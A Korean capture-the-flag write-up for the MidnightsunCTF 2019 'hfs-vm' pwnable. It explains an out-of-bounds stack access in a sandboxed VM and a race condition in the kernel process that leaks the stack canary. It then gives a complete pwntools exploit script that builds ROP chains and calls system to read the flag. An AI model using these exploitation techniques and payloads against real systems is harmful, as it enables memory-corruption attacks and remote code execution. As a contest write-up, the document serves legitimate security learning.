MidnightsunCTF 2019 hfs-vm1,2 WriteUp

MidnightsunCTF 2019 pwnable

Posted by NextLine on August 7, 2019

MidnightsunCTF 2019 hfs-vm1,2 WriteUp

1. Intro

대회 때 분석도 빨리하고 escape도 금방 했는데 레컨을 못찾아서 10시간넘게 헤맸다. 하필 대회 끝나기 10분전에 찾아서 결국 끝나고 푼 문제다.. bof로 환경변수를 덮을 수 있고 system 함수도 쓰고 uid를 주기도 하고 이상한 페이크가 많아서 레컨을 너무 늦게 찾은것같다. 앞으로는 이런실수 안하게 기억해두고 봐야겠다.

2. Binary

if ( !socketpair(1, 1, 0, fds) )
  {
    mapping = mmap(0LL, 0x102uLL, 3, 33, -1, 0LL);
    pid = fork();
    if ( pid != -1 )
    {
      if ( pid )
      {
        v3 = -1;
        close(fds[0]);
        fd = fopen("/dev/urandom", "rb");
        v7 = fd;
        if ( fd )
        {
          fread(&random, 8uLL, 1uLL, fd);
          fclose(v7);
          set_canary(random);
          v8 = kernel(fds[1]);
          exit(v8);
        }
      }
      else
      {
        close(fds[1]);
        v3 = sandbox(fds[0]);
      }
    }
  }
  return v3;
}

main 구조는 kernel을 먼저 실행하고 fork 프로세스로 sandbox를 실행한다. sandbox를 실행할 때는 prctl을 걸어 read/write/exit 밖에 못하도록 만들고 syscall을 통해 kernel에 접근할 수 있다. 또한 두 프로세스가 공유하는 메모리는 mmap으로 만든 메모리밖에 없으며 kernel을 실행하기 전에 canary를 초기화해서 sandbox와 kernel의 canary가 다르다.

case 0:
        sb_mov(info, opcode);
        break;
      case 1:
        sb_add(info, opcode);
        break;
      case 2:
        sb_sub(info, opcode);
        break;
      case 3:
        sb_xchg(info, opcode);
        break;
      case 4:
        sb_xor(info, opcode);
        break;
      case 5:
        sb_push(info, opcode);
        break;
      case 6:
        sb_pop(info, opcode);
        break;
      case 7:
        sb_vuln1(info, opcode);
        break;
      case 8:
        sb_vuln2(info, opcode);
        if ( info->regi[14] > 0x20u )
          goto LABEL_11;
        goto LABEL_6;
      case 9:
        if ( !sb_syscall(info) )
          break;
        fwrite("[!] Syscall failed!\n", 1uLL, 0x14uLL, stderr);
        return 1LL;
      case 0xA:
        sb_debug(info);
        break;

위의 코드는 sandbox에서 사용할 수 있는 instruction이다.

  len2 = stack_len;
  memcpy(buf, mapping + 1, stack_len);
  re = *stack1;
  switch ( re )
  {
    case 0:
      kernel_ls();
      goto LABEL_3;
    case 1:
      krenel_fwrite(buf, len2);
      goto LABEL_3;
    case 2:
      if ( kernel_getuid(*(stack1 + 1), buf, len2) )
        goto LABEL_6;
      goto LABEL_3;
    case 3:
      if ( !kernel_getflag1(buf, len2) )
        goto LABEL_3;
      goto LABEL_6;
    case 4:
      if ( kernel_random(*(stack1 + 1), buf, len2) )
      {
LABEL_6:
        re = 0xFFFFFFFFLL;
      }
      else
      {
LABEL_3:
        memcpy(mapping + 1, buf, *mapping);
        re = 0LL;
      }
      break;
    default:
      return re;

커널에서 사용할 수 있는 syscall은 위와 같이 5개이며 syscall 3에서 flag1(rev)을 준다.

3. Vulnerability

unsigned __int64 __fastcall sb_vuln1(Info *a1, unsigned int a2)
{
  __int64 v2; // rax
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]
  v4 = __readfsqword(0x28u);
  v2 = a1->regi[(a2 >> 5) & 0xF];
  if ( a2 & 0x2000 )
    *&a1->stack[2 * v2] = HIWORD(a2);
  else
    *&a1->stack[2 * v2] = a1->regi[(a2 >> 9) & 0xF];
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 __fastcall sb_vuln2(Info *a1, unsigned int a2)
{
  unsigned __int64 v2; // ST08_8
  v2 = __readfsqword(0x28u);
  a1->regi[(a2 >> 5) & 0xF] = *&a1->stack[2 * a1->regi[(a2 >> 9) & 0xF]];
  return __readfsqword(0x28u) ^ v2;
}

취약점은 sandbox의 함수에서 발생한다. register에 있는 값만큼 stack에서 read/write가 가능해 stack의 범위를 벗어난 read/write를 하면 out of bounds 취약점이 발생한다. 이를 통해 libc, heap, pie, stack 등 모든 메모리주소를 leak할 수 있고 ret을 덮어써 ROP를 할 수 있다.

4. Exploit

sandbox에서 모든 메모리에 대한 leak을 얻고, rip를 제어할 수 있는 상황에서 kernel 프로세스를 exploit해야 한다.

  stack_len = *mapping;
  len2 = stack_len;
  memcpy(buf, mapping + 1, stack_len);
  re = *stack1;
  switch ( re )
  {
    case 0:
      kernel_ls();
      goto LABEL_3;
...

위 코드에서 (kernel syscall 처리) 이미 mapping된 주소에 우리가 원하는 값을 쓸 수 있기 때문에 bof를 발생시킬 수 있다. (sandbox 프로세스에서 oob이용) 하지만 kernel의 canary는 알 수 없기 때문에 바로 rip를 컨트롤 할 수 없다.

signed __int64 __fastcall kernel_random(char buf, void *stack, unsigned __int16 size)
{
  size_t _len; // r12
  FILE *fd; // rax
  int v5; // ebx
  FILE *_fd; // r13
  _len = size;
  fd = fopen("/dev/urandom", "rb");
  if ( !fd )
    return 0xFFFFFFFFLL;
  v5 = 0;
  _fd = fd;
  if ( buf & 4 )
  {
    do
    {
      ++v5;
      fread(stack, _len, 1uLL, _fd);
      sleep(1u);
    }
    while ( v5 < (buf & 4) );
  }
  fclose(_fd);
  return 0LL;
}

syscall 중에 random 값을 stack에 돌려주는 함수가 있는데, 이때 sleep을 약 4초간 진행한다.

  stack_len = *mapping;
  v6 = __readfsqword(0x28u);
  len2 = stack_len;
  memcpy(buf, mapping + 1, stack_len);
  re = *stack1;
  switch ( re )
  {
    case 0:
      kernel_ls();
      goto LABEL_3;
    case 1:
...
      }
      else
      {
LABEL_3:
        memcpy(mapping + 1, buf, *mapping);
        re = 0LL;
      }
      break;
    default:
      return re;

syscall 처리 이후에 사용한 stack을 돌려주는데 sleep 도중에 mapping된 영역을 덮어쓰면 돌려주는 size를 크게 수정할 수 있었다. 이 레이스컨디션 취약점을 이용해 kernel 프로세스의 canary를 leak하고 system 함수를 호출해 쉘을 획득하면 된다.

#from ntpwn import *
from pwn import *
LOCAL = 1
#debug()
def conn():
    if LOCAL:
        s = process('./hfs-vm')
        #b = NT(s)
        # sandbox
        #b.bp(0x1640)
        #b.bp(0x1113)
        #b.ex('set follow-fork-mode child')
        # kernel
        #b.bp(0x1d20)
        #b.bp(0x1d9b)
        #b.end()
    else:
        s = remote('hfs-vm-01.play.midnightsunctf.se',4096)
        #s = remote('10.211.55.5',12345)
    return s
s = conn()
sla = s.sendlineafter
sa = s.sendafter
def make(opcode, opr1, opr2, addr = 0):
    op = 0
    op |= opcode
    op |= opr1 << 5
    op |= opr2 << 9
    if (addr):
        op |= 1 << 13
        op |= addr << 0x10
    return op
def leak(off):
    global payload
    for i in range(4):
        payload += p32(make(0, 13, 0, off+i))
        payload += p32(make(8, i, 13, 0))
    payload += p32(make(10, 0, 0, 0x0))
def leak2():
    a = []
    s.recvuntil('Registers:')
    for i in range(4):
        s.recvuntil(': ')
        a.append(int(s.recvline(),16))
    re = a[0]
    re += a[1] * (0x10 ** 4)
    re += a[2] * (0x10 ** 8)
    re += a[3] * (0x10 ** 12)
    return re
def pierop(off, val, flag, val2 = 0):
    global payload
    for i in range(4):
        payload += p32(make(0, 13, 0, 0x34+i))
        payload += p32(make(8, i, 13, 0))
    if flag: # add
        payload += p32(make(1, 0, 0, val))
    else: # sub
        payload += p32(make(2, 0, 0, val))
    if val2:
        payload += p32(make(1, 1, 0, val2))
    for i in range(4):
        payload += p32(make(0, 13, 0, off+i))
        payload += p32(make(7, 13, i, 0))
prdi = 0x0000000000001e83
prsi = 0x000000000000198f
prdx = 0x000000000000101d
prsp = 0x0000000000001112
read = 0xca0
write = 0xc10
bss = [0x3200,0x20]
#pause()
payload = ''
# ls
payload += p32(make(9, 0, 0, 0))
leak(0x48)
leak(0xc4)
leak(0x34)
leak(0x54)
# prdi + 0
pierop(0x34,prdi-0xe6e,1)
for i in range(4):
    payload += p32(make(0, 13, 0, 0x38+i))
    payload += p32(make(7, 13, 10, 0))
# prsi + bss
pierop(0x3c,prdi-prsi,0)
pierop(0x40,bss[0]-prdi,1,bss[1])
# prdx + size(0x100)
pierop(0x44,prdi-prdx,0)
payload += p32(make(0, 10, 0, 0x500))
payload += p32(make(0, 13, 0, 0x48))
payload += p32(make(7, 13, 10, 0))
payload += p32(make(0, 10, 11, 0))
for i in range(1,4):
    payload += p32(make(0, 13, 0, 0x48+i))
    payload += p32(make(7, 13, 10, 0))
# read
pierop(0x4c,prdi-read,0)
# prsp + bss
pierop(0x50,prdi-prsp,0)
pierop(0x54,bss[0]-prdi,1,bss[1])
sla('length: ',str(len(payload)))
sa('code: ', payload)
stack = leak2() - 0x1d0
envp = leak2()
pie = leak2() - 0xe6e
addr = leak2() + 0x5cd7d0
s.info("stack @ " + hex(stack))
s.info("envp @ " + hex(envp))
s.info("off @ " + hex(envp-stack))
s.info("pie @ " + hex(pie))
s.info("mmap @ " + hex(addr))
payload2 = p64(pie+prdi) + p64(0)
payload2 += p64(pie+prsi) + p64(addr)
payload2 += p64(pie+prdx) + p64(0x1000)
payload2 += p64(pie+read)
# leak stack
payload2 += p64(pie+prdi) + p64(3)
payload2 += p64(pie+prsi) + p64(pie+0x203200+0x300)
payload2 += p64(pie+prdx) + p64(10)
payload2 += p64(pie+write)
payload2 += p64(pie+prdi) + p64(0)
payload2 += p64(pie+prsi) + p64(addr)
payload2 += p64(pie+prdx) + p64(0x100)
payload2 += p64(pie+read)
payload2 += p64(pie+prdi) + p64(0)
payload2 += p64(pie+prsi) + p64(addr)
payload2 += p64(pie+prdx) + p64(0x100)
payload2 += p64(pie+read)
payload2 += p64(pie+prdi) + p64(3)
payload2 += p64(pie+prsi) + p64(pie+0x203200+0x300+10)
payload2 += p64(pie+prdx) + p64(5)
payload2 += p64(pie+write)
payload2 += p64(pie+prdi) + p64(0)
payload2 += p64(pie+prsi) + p64(addr)
payload2 += p64(pie+prdx) + p64(0x100)
payload2 += p64(pie+read)
payload2 = payload2.ljust(0x300,'\x00')
payload2 += '\x04\x04\x00\x00\x00'
payload2 += '\x01\x00\x00\x00\x00'
payload2 += '\x00' * 5
#pause()
sleep(0.5)
s.send(payload2)
pause()
payload3 = p16(0x20) + 'A' * 0x20
s.send(payload3)
pause()
payload3 = p16(0x50)
s.send(payload3)
s.recvuntil("========================================\n")
s.recv(0x48)
canary = u64(s.recv(8))
s.info("canary : " + hex(canary))
pause()
payload3 = p16(0x100) + 'A' * 0x48 + p64(canary) + p64(0x4242424242424242) * 0x5
payload3 += p64(pie + prdi) + p64(addr+0x90+2) + p64(pie + 0xc60)
payload3 = payload3.ljust(0x90,'B')
payload3 += 'cat flag2'
s.send(payload3)
s.interactive()